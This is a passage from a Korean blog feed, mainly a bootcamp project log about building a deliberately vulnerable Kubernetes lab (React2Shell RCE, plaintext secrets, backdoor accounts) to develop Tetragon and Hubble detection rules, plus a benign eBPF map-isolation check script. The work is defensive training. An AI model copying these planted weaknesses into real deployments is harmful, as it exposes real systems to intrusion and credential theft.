<p>사실 나는 프로젝트 주제 선정때부터 우리 팀을 기대하게 만들고 싶었다. <strong>기술적인 부분뿐만 아니라 다방면에서 기대를 갖게 만드는 것</strong> 이게 내 1차적인 목표였고 성공적이었다.
일을 잘 수행했을 때 인정으로부터 얻는 행복은 내가 느낄 수 있는 최대치 행복인거 같다ㅋㅋㅋ</p>
<p>이제 피드백 받은 내용을 바탕으로 기대에 부응 해야겠지? 잘 안풀리는 일들도 해결이 안될거 같은 문제들도 있겠지만 지금까지 해왔던 대로 잘 나아가 보겠다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/e974c758-ac79-4f27-959c-a7a186cf1240/image.png" alt=""></p>
<p>생각해보니 오늘이 2025년 마지막 TIL이네 다들 올해는 어땠나요?
내 올해를 돌아보면 일이 끊이질 않았던 한 해였던거 같다. 2월에 학부 연구생 생활을 마치고 졸업작품 준비와 졸업 작품 발표를 했고, 토스뱅크 사이버보안 엔지니어 부트캠프를 준비하고 .. 올해 제일 열심히 산거 같다ㅋㅋㅋㅋ 사실 이 부트캠프 추가 합격 된거라 안됐으면 뭐하고 있었을까?라는 생각도 살며시 든다.</p>
<p>다들 올해 마무리 잘하셨으면 좋겠고, 내년에도 생산성 있는 한 해가 됐으면 좋겠습니다.
암튼! 이번주 TIL은 여기서 마치도록 하고 다음주 TIL은 멘토링 이후에 수행한 내용들을 가지고 2026년과 함께 오겠습니다. 다들 이번 한 주도 고생하셨습니다!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[토스뱅크 사이버보안 엔지니어 부트캠프 프로젝트 수행일지 Week 2]]></title>
            <link>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-2</link>
            <guid>https://velog.io/@_sychoii/%ED%86%A0%EC%8A%A4%EB%B1%85%ED%81%AC-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-%EC%97%94%EC%A7%80%EB%8B%88%EC%96%B4-%EB%B6%80%ED%8A%B8%EC%BA%A0%ED%94%84-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%EC%88%98%ED%96%89%EC%9D%BC%EC%A7%80-Week-2</guid>
            <pubDate>Sun, 28 Dec 2025 06:26:11 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/_sychoii/post/b2192762-0ef0-4a99-8fbe-f8e7fc38a49f/image.png" alt=""></p>
<p>12월 22일부터 12월 26일 일주일 간 프로젝트 수행한 내용을 정리 해보겠습니다.
2주차에는 각 파트별로 진행한 내용을 공유하여 팀원들의 <strong>프로젝트 이해도를 향상</strong> 시키고자 했고, <strong>공격 시나리오와 공격 방식을 구체화 및 확정</strong>을 지었으며, 지난 12월 22일 대면 멘토링에서 나왔던 피드백 중 <strong>eBPF 기반 도구의 충돌성 검증</strong>을 진행했습니다.</p>
<p>또한, 프로젝트 운영 효율성을 위해 기존 인프라, 공격, 분석 세 가지 파트로 나뉘어 진행했지만, 프로젝트 수행을 위한 준비가 끝났기 때문에 Tetragon 정책 설계, 로그 분석 기법 두 가지 파트로 다시 나누어 역할을 재분배 했습니다.</p>
<p>단순 환경 구축이나 공격 재현이 아닌, 공격 행위가 남기는 로그 아티팩트를 어<strong>떻게 분석</strong>할 것이고 이를 탐지하기 위한 <strong>탐지 도구의 정책 설정</strong>을 어떻게 할 것인가에 초점을 맞췄습니다.</p>
<p>따라서, 이번 수행 일지에서는 공격 기법 정리와 eBPF 충돌성 검증한 내용을 중점적으로 다뤄보겠습니다.</p>
<hr>
<h2 id="1-환경-구성">1. 환경 구성</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/a6982f58-6de2-45e5-b30b-783ba26e6216/image.png" alt=""></p>
<p>쿠버네티스 환경에서 운영 효율성과 보안 강화를 위해 사용하는 여러 도구들이 있지만, 우리는 보안 강화를 위한 도구들을 사용하지 않고, 쿠버네티스만으로 환경 구성을 했을 때 취약점을 탐지하고 분석하고자 합니다.
또한, <strong>MSA(Micro Service Architecture)</strong>를 완전하게 구현하진 못하지만 이를 모사하여 Worker Node를 구성하여 프로젝트를 진행하고자 합니다.
이에 우리가 구성한 환경에 대한 정보는 다음과 같습니다.</p>
<ul>
<li><p>Namespace
실질적으로 서비스가 운영되는 <strong>public-service</strong>, service의 server가 운영되고 있는 <strong>service-server</strong>, 환경 관리와 관리자, 사용자, 어플리케이션 정보를 관리하는 <strong>service-operation</strong> 총 세 개의 Namespace로 분리하여 환경을 구성했습니다.</p>
</li>
<li><p>Pod
우리의 공격 시나리오 중 초기 침투 단계에서 <strong>React2Shell</strong> 취약점을 사용하여 해당 취약점을 가지고 있는 <strong>web-service</strong>, 서버 어플리케이션으로 사용자 정보를 처리하는 <strong>user-api</strong>, 주문정보를 처리하는 <strong>order-api</strong>, 사용자 정보와 같은 데이터가 담겨 있는 <strong>service-db</strong>, 운영 환경 관리를 위한 <strong>admin</strong>으로 각 <strong>Namespace</strong>에 Pod를 구성했습니다.</p>
</li>
</ul>
<p>각 Pod에 어떤 취약점을 세팅하였는지 정리 해보겠습니다.</p>
<h3 id="11-public-service--web-service">1.1 public-service : web-service</h3>
<p>이 Pod는 MSA의 프론트엔드이자 게이트웨이 역할을 수행합니다. UI 제공 및 사용자 요청을 내부 service-server 네임스페이스의 API들로 전달합니다.
통신 흐름은 Inbound (외부 -&gt; web-service), Outbound (web-service -&gt; user-api or order-api) 입니다.</p>
<table>
<thead>
<tr>
<th><strong>취약점 항목</strong></th>
<th><strong>상세 내용</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>RCE (원격 코드 실행)</strong></td>
<td><code>react2shell</code> 소스 내부에 <code>eval()</code> 또는 취약한 로직이 포함되어 있어 공격자가 임의 명령어를 실행 가능함.</td>
</tr>
<tr>
<td><strong>환경 변수 노출</strong></td>
<td>내부 API 통신을 위한 토큰이나 세션 키가 <code>env</code>에 평문으로 설정됨.</td>
</tr>
<tr>
<td><strong>평문 통신</strong></td>
<td>백엔드 서비스와 통신할 때 HTTP(평문)를 사용하여 가로채기가 가능함.</td>
</tr>
</tbody></table>
<h3 id="12-service-server--order-api">1.2 service-server : order-api</h3>
<p>주문 처리 및 데이터 관리를 담당하는 백엔드 마이크로 서비스입니다. <code>web-service</code>로부터 주문 요청을 수신, 유효성 검사 후 <code>admin-db</code>에 데이터를 저장하거나 조회하는 기능을 수행합니다. 
통신 흐름은 Inbound (web-service -&gt; order api), Outbound (order-api -&gt; admin-db) 입니다.</p>
<table>
<thead>
<tr>
<th><strong>취약점 항목</strong></th>
<th><strong>상세 내용</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>정적 시크릿 노출</strong></td>
<td><code>admin-db</code> 접속을 위한 ID/PW가 <code>env</code> 환경 변수에 평문으로 설정되어 있음.</td>
</tr>
<tr>
<td><strong>평문 패킷 노출</strong></td>
<td><code>web-service</code>로부터 오는 요청과 <code>admin-db</code>로 보내는 쿼리가 모두 HTTP/MySQL 평문 통신임.</td>
</tr>
<tr>
<td><strong>인증 메커니즘 부재</strong></td>
<td><code>web-service</code>가 요청을 보낼 때 별도의 신원 확인(JWT 등) 없이 호출하면 무조건 응답함.</td>
</tr>
<tr>
<td><strong>네트워크 격리 미비</strong></td>
<td><code>order-api</code>는 오직 <code>web-service</code>로부터만 호출되어야 하나, 다른 어떤 파드에서도 접근 가능함.</td>
</tr>
</tbody></table>
<h3 id="13-service-server--user-api">1.3 service-server : user-api</h3>
<p>사용자 인증 및 프로필 관리를 하여 사용자의 신원 정보를 처리하는 기능을 합니다.
통신 흐름은 Inbound <code>web-service</code> (public-service) → <code>user-api</code> (사용자 인증 요청), <code>user-api</code> → <code>admin-db</code> (사용자 정보 쿼리)입니다.</p>
<table>
<thead>
<tr>
<th><strong>취약점 항목</strong></th>
<th><strong>상세 내용</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>인증 키 노출</strong></td>
<td>JWT 서명용 비밀키(Secret Key)나 외부 OAuth 연동 키가 <code>env</code>에 평문으로 저장됨.</td>
</tr>
<tr>
<td><strong>취약한 인증 로직</strong></td>
<td>중앙화된 Keycloak 없이 자체 구현된 인증 로직을 사용하며, MFA가 적용되지 않음.</td>
</tr>
<tr>
<td><strong>사용자 정보 유출</strong></td>
<td>mTLS가 없어 <code>web-service</code>와 주고받는 사용자의 이메일, 주소 등이 평문으로 노출됨.</td>
</tr>
<tr>
<td><strong>이미지 내 백도어</strong></td>
<td>이미지 스캔을 거치지 않아 개발 시 포함된 디버깅용 백도어 계정이나 취약 라이브러리가 존재.</td>
</tr>
</tbody></table>
<h3 id="14-service-operation--admin">1.4 service-operation : admin</h3>
<p>클러스터 유지보수나 운영을 위해 <strong>가장 높은 수준의 권한</strong>을 부여받은 상태로 설계합니다.
클러스터 운영 및 내부 자원 관리를 담당하는 운영 전용 파드로 주기적인 DB 백업, 배치 작업 실행, 서비스 상태 점검 및 긴급 복구 등의 작업을 한다고 가정합니다.</p>
<p>통신 흐름은 Inbound <code>service-server</code> 내 파드들로부터의 접근 가능성 열려 있습니다. Outbound <code>admin</code> → <code>admin-db</code> (백업/쿼리), <code>admin</code> → <code>K8S API Server</code> (리소스 관리)입니다.</p>
<table>
<thead>
<tr>
<th><strong>취약점 항목</strong></th>
<th><strong>상세 내용</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>세션 감시 불가</strong></td>
<td><code>kubectl exec</code>로 접속 시 수행하는 명령어가 녹화되거나 감사 로그로 남지 않음.</td>
</tr>
<tr>
<td><strong>강력한 자격 증명 노출</strong></td>
<td><code>/etc/secret/db</code> 경로에 DB 전체 권한을 가진 관리자 계정 정보가 파일로 마운트됨.</td>
</tr>
<tr>
<td><strong>MFA 미적용</strong></td>
<td>관리자 권한 행위 시 추가적인 2차 인증 절차가 전혀 없음.</td>
</tr>
<tr>
<td><strong>이미지 내 도구 방치</strong></td>
<td>공격자가 침투 후 즉시 사용할 수 있는 공격용 도구(<code>nmap</code>, <code>kubectl</code>)가 기본 설치됨.</td>
</tr>
</tbody></table>
<h3 id="15-service-operation--service-db">1.5 service-operation : service-db</h3>
<p>마이크로서비스의 데이터를 통합 관리하는 중앙 데이터베이스 서버로, 사용자 정보, 주문 내역, 관리자 설정 등 MSA 전체 서비스의 영속성 데이터 저장 및 조회가 가능합니다.
통신 흐름은 inbound <code>order-api</code>, <code>user-api</code> (데이터 쿼리), <code>admin</code> (백업 및 유지보수), Outbound는 없습니다.</p>
<table>
<thead>
<tr>
<th><strong>취약점 항목</strong></th>
<th><strong>상세 내용</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>네트워크 격리 부재</strong></td>
<td><code>admin</code>과 <code>service-server</code> namespace에 속한 Pod에서만 접근 가능.</td>
</tr>
<tr>
<td><strong>통신 스니핑 위험</strong></td>
<td>데이터베이스 쿼리와 응답이 암호화되지 않은 평문으로 전송되어 네트워크상에서 데이터가 노출됨.</td>
</tr>
<tr>
<td><strong>관리자 계정 고착화</strong></td>
<td>한 번 설정된 Root 비밀번호가 변경되지 않으며, 여러 서비스가 동일한 계정을 공유함.</td>
</tr>
<tr>
<td><strong>데이터 접근 통제 미비</strong></td>
<td>DB 엔진 자체의 감사 로그(Audit Log)가 활성화되어 있지 않거나 외부로 전송되지 않음.</td>
</tr>
</tbody></table>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/d86d7f6a-7190-4b33-bedb-92d702819354/image.png" alt=""></p>
<p>위 취약점을 yaml에 반영하여 환경 구성을 완료 했습니다.</p>
<hr>
<h2 id="2-공격-기법-정리">2. 공격 기법 정리</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/c46bcea0-814f-4e9b-8bff-1438f44a67c4/image.png" alt=""></p>
<p>우리는 초기 침투 단계에서 React2Shell 취약점을 이용하여 외부에서 내부 정찰 및 침투를 진행합니다. 내부에서의 공격은 MITRE ATT&amp;CK에서 제공하는 Containers Matrix의 공격 기법을 사용하여 네트워크, 시스템을 전반적으로 위협하는 공격을 수행하여 이를 통해 탐지 Rule을 적립하고자 합니다.</p>
<p>이 과정에서 github과 같은 오픈소스 플랫폼에서 수집한 exploit script를 적극 사용하고, LOTL(Living Off The Land) 기법도 사용하여 공격을 다양한 방법으로 수행합니다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/aa7747f1-0148-4a9d-904d-ec95009f7e88/image.png" alt=""></p>
<p>이 과정의 편의성을 위해 TID 별 공격 명령어 정리를 진행했습니다. 위에서 말한대로 같은 방식의 공격을 다양한 명령어, 스크립트를 사용하여 수행하고자 정리했습니다.</p>
<hr>
<h2 id="3-ebpf-기반-탐지-도구-충돌성-검증">3. eBPF 기반 탐지 도구 충돌성 검증</h2>
<p>우리는 <strong>Cilium CNI</strong>(Container Network Interface)를 활용하여 탐지 도구로 <strong>Tetragon</strong>, <strong>Hubble</strong>을 선정하여 프로젝트에 활용하고 있습니다.
12월 22일 대면 멘토링시 도구 선정 이유에 대해 보고 드렸고, 멘토님들께서 eBPF 기반 도구의 충돌성에 대한 우려를 표하셨습니다.
따라서 우리는 <strong>eBPF 기반 도구</strong>를 두 가지를 사용해도 문제가 없음을 증명하고자 했습니다.</p>
<h3 id="31-실행-제어-레이어-분석-hook-point-중복-여부">3.1 실행 제어 레이어 분석: Hook Point 중복 여부</h3>
<p>두 도구가 커널 실행 흐름을 가로채는 지점이 겹치는지 확인하기 위해 로드된 eBPF 프로그램을 전수 조사했습니다.</p>
<h4 id="311-ebpf-프로그램-식별-및-소유권-확인">3.1.1 eBPF 프로그램 식별 및 소유권 확인</h4>
<p><code>bpftool</code>을 사용하여 프로세스 실행 감시(execve)와 관련된 프로그램을 식별하고 소유 프로세스를 대조했습니다.</p>
<pre><code class="language-bash">sudo bpftool perf show | grep -E &quot;806|813&quot;
ps -fp 7051</code></pre>
<p><code>sched_process_exec</code>(ID 806)와 <code>security_file_open</code>(ID 813) 훅은 <strong>Tetragon(PID 7051)</strong>이 소유하고 있음을 확인했습니다.</p>
<h4 id="312-network-제어-레이어-확인">3.1.2 Network 제어 레이어 확인</h4>
<p>Cilium이 점유하고 있는 레이어를 확인하여 Tetragon과의 중복 여부를 점검했습니다.</p>
<pre><code class="language-bash">sudo bpftool net show</code></pre>
<p>Cilium은 system call 영역이 아닌 TC(Traffic Control) 레이어에서 eth0 및 컨테이너 인터페이스의 패킷 흐름을 제어하고 있습니다.</p>
<p>따라서, <strong>Tetragon</strong>은 <strong>Tracing 영역</strong>을, <strong>Cilium</strong>은 <strong>Networking 영역</strong>을 담당하며 커널 내 실행 제어점이 명확히 분리되어 동작하는 것을 확인했습니다.</p>
<h3 id="32-데이터-자원-레이어-분석-map-id-격리-여부">3.2 데이터 자원 레이어 분석: Map ID 격리 여부</h3>
<p>Hook 위치가 다르더라도 <strong>메모리(Map)</strong>를 공유할 경우 데이터 오염의 위험이 있으므로, map.sh 스크립트를 작성하여 Map ID를 전수 조사했습니다.
해당 실습에서 사용한 스크립트는 다음과 같습니다.</p>
<pre><code class="language-bash">#!/bin/bash

echo &quot;=== [검증 시작] Tetragon vs Cilium Map 격리성 전수 조사 ===&quot;

# 1. Tetragon Map 추출 (PID 7051이 명시적으로 잡고 있는 Map IDs)
echo &quot;[Step 1] Tetragon Map ID 수집 중...&quot;
TETRA_MAPS=$(sudo bpftool perf show | grep &quot;pid 7051&quot; | grep -o &#39;map_ids [0-9,]*&#39; | cut -d &#39; &#39; -f 2 | tr &#39;,&#39; &#39;\n&#39; | sort -u | grep -v &#39;^$&#39;)
TETRA_COUNT=$(echo &quot;$TETRA_MAPS&quot; | wc -l)
echo &quot;  &gt; Tetragon 관리 Map 개수: $TETRA_COUNT 개&quot;

# 2. Cilium Map 추출 (이름 기반 전수 조사)
echo &quot;[Step 2] Cilium Map ID 수집 중 (Name filtering)...&quot;
CILIUM_MAPS=$(sudo bpftool map show -j | jq -r &#39;.[] | select(.name | contains(&quot;cilium&quot;)) | .id&#39; | sort -u)
CILIUM_COUNT=$(echo &quot;$CILIUM_MAPS&quot; | wc -l)
echo &quot;  &gt; Cilium 관리 Map 개수: $CILIUM_COUNT 개&quot;

# 3. 교차 검증 (교집합 확인)
echo &quot;[Step 3] 격리성 위반(충돌) 검사...&quot;
CONFLICTS=$(comm -12 &lt;(echo &quot;$TETRA_MAPS&quot;) &lt;(echo &quot;$CILIUM_MAPS&quot;))

if [ -z &quot;$CONFLICTS&quot; ]; then
    echo &quot;&quot;
    echo &quot;✅ [SUCCESS] 완벽한 격리 확인됨.&quot;
    echo &quot;    - Tetragon과 Cilium은 단 하나의 Map ID도 공유하지 않습니다.&quot;
    echo &quot;    - 메모리 영역 침범 가능성: 0%&quot;
else
    echo &quot;&quot;
    echo &quot;❌ [WARNING] Map ID 충돌 감지됨!&quot;
    echo &quot;    - 공유 중인 Map ID 목록:&quot;
    echo &quot;$CONFLICTS&quot;

    for id in $CONFLICTS; do
        echo &quot;    [!] 상세 정보 (ID: $id):&quot;
        sudo bpftool map show id $id
    done
fi

echo &quot;=== [검증 종료] ===&quot;</code></pre>
<p>해당 코드는 Tetragon eBPF Map 추출 (PID 기반)하고, Cilium eBPF Map 추출 (이름 기반)하여 두 도구가 관리하는 ID 리스트를 비교하여 중복된 항목이 있는지 확인합니다.</p>
<h4 id="321-검증-결과">3.2.1 검증 결과</h4>
<pre><code class="language-text">=== [검증 결과] ===
&gt; Tetragon 관리 Map 개수: 1 개
&gt; Cilium 관리 Map 개수: 43 개
✅ [SUCCESS] 완벽한 격리 확인됨.</code></pre>
<p>두 도구가 사용하는 Map ID 목록은 단 하나도 일치하지 않았으며, 이를 통해 메모리 레벨에서의 간섭 가능성이 없음을 증명했습니다.</p>
<h3 id="33-기술적-근거-bpf_link를-통한-안정성-보장">3.3 기술적 근거: bpf_link를 통한 안정성 보장</h3>
<p>분석 과정에서 확인된 공존성의 핵심 기술적 근거는 bpf_link 아키텍처에 있습니다.</p>
<ul>
<li><p><strong>연결 리스트(Linked List) 구조</strong>
특정 함수 진입점에 여러 <strong>bpf_link를 리스트 형태로 관리</strong>하여 수십 개의 프로그램이 붙어도 충돌이 발생하지 않는다.</p>
</li>
<li><p><strong>BPF 트램폴린(Trampoline)</strong>
여러 프로그램이 연결되었을 때 <strong>트램폴린</strong>이 루프를 돌며 각 프로그램을 순차적으로 실행시킨다.</p>
</li>
<li><p><strong>파일 디스크립터(FD) 기반 격리</strong>
각 연결이 <strong>개별 FD로 관리</strong>되어 특정 도구가 종료되어도 다른 도구의 연결 상태에 영향을 주지 않는다.</p>
</li>
<li><p><strong>원자적 교체(Atomic Update)</strong>
정책 변경 시 <code>BPF_LINK_UPDATE</code>를 통해 실행 중단 없이 프로그램을 교체하여 자원 경합을 차단한다.</p>
</li>
</ul>
<h3 id="34-결론">3.4 결론</h3>
<p>실증 분석 결과, Tetragon과 Cilium은 동일 노드 내에서 기능적 역할 분담과 자원 격리를 완벽하게 유지하고 있습니다. 
이는 <strong>bpf_link</strong>가 제공하는 <strong>다중 입주자 관리 시스템</strong>을 통해 구조적, 시간적, 관리적으로 격리되어 있기 때문에 가능하다는 결론을 도출했습니다.</p>
<hr>
<h2 id="4-역할-재분배">4. 역할 재분배</h2>
<p>환경 구성, 공격 방식, eBPF 충돌성 검증과 같은 프로젝트 진행에 문제를 발생시킬 수 있는 부분을 해결했기 때문에 본격적인 탐지 고도화 작업에 착수했습니다.
우리는 우선 <strong>Tetragon 정책 설계</strong>, <strong>Open Search 기반 분석 고도화</strong> 두 부분으로 나뉘어 프로젝트를 진행하고 있습니다.
허나 <strong>Open Search</strong>에서 지원하는 기능들이 다소 적고, 패턴 매칭 분석 방법론적인 부분에서 해야 할 테스크가 많지 않기 때문에 <strong>Hubble 정책</strong>도 동시에 설계하기로 했습니다.</p>
<h3 id="41-tetragon-전역-정책-설계">4.1 Tetragon 전역 정책 설계</h3>
<p>앞서 언급한 <strong>MITRE ATT&amp;CK</strong>의 <strong>container</strong> 관련 공격 유형들을 세 가지로 나누어 Tetragon의 정책을 설정하고 있습니다. 우리는 시나리오가 아닌 <strong>공격 단계(Kill Chain Phase)와 기술 레이어(Technology Layer)</strong>를 기준으로 업무를 분담하였습니다.</p>
<p>역할 분담 후 공격을 수행하고 이에 따라 남는 아티팩트들을 분석하여 Tetragon Rule에 적용한 뒤 다시 공격을 수행하여 적립한 탐지 Rule에 잘 걸리는지 확인하며 작업을 진행하고 있습니다.</p>
<h3 id="42-로그-분석-파이프라인-상세-설계">4.2 로그 분석 파이프라인 상세 설계</h3>
<p>Tetragon(Process, File, 권한 이벤트) 로그 활용, Hubble(Network Flow) 로그 활용, Fluentd를 통한 로그 필터링 및 메타데이터 결합, Open Search 인덱싱 및 시각화 구조를 정리하여 단순 로그 저장이 아닌 분석 가능한 형태로 가공하는 전체 흐름을 설계 했습니다.</p>
<p>로그 분석시에는 <strong>SIEM(Security Information and Event Management)</strong>의 분석 방식을 참고하여 필터링 및 정규화, 패턴 매칭 기반 이벤트 선별, 타임라인 분석, 상관관계 분석, 공격 시나리오를 재구성하여 신뢰성 있는 분석 결과를 도출하고자 합니다.</p>
<hr>
<h2 id="future-work">Future Work</h2>
<p>차주 수행 일지에는 Tetragon 정책 설계, 로그 분석 고도화 측면에서 수행한 결과를 위주로 정리하여 전달드리도록 하겠습니다.</p>
]]></description>
        </item>
    </channel>
</rss>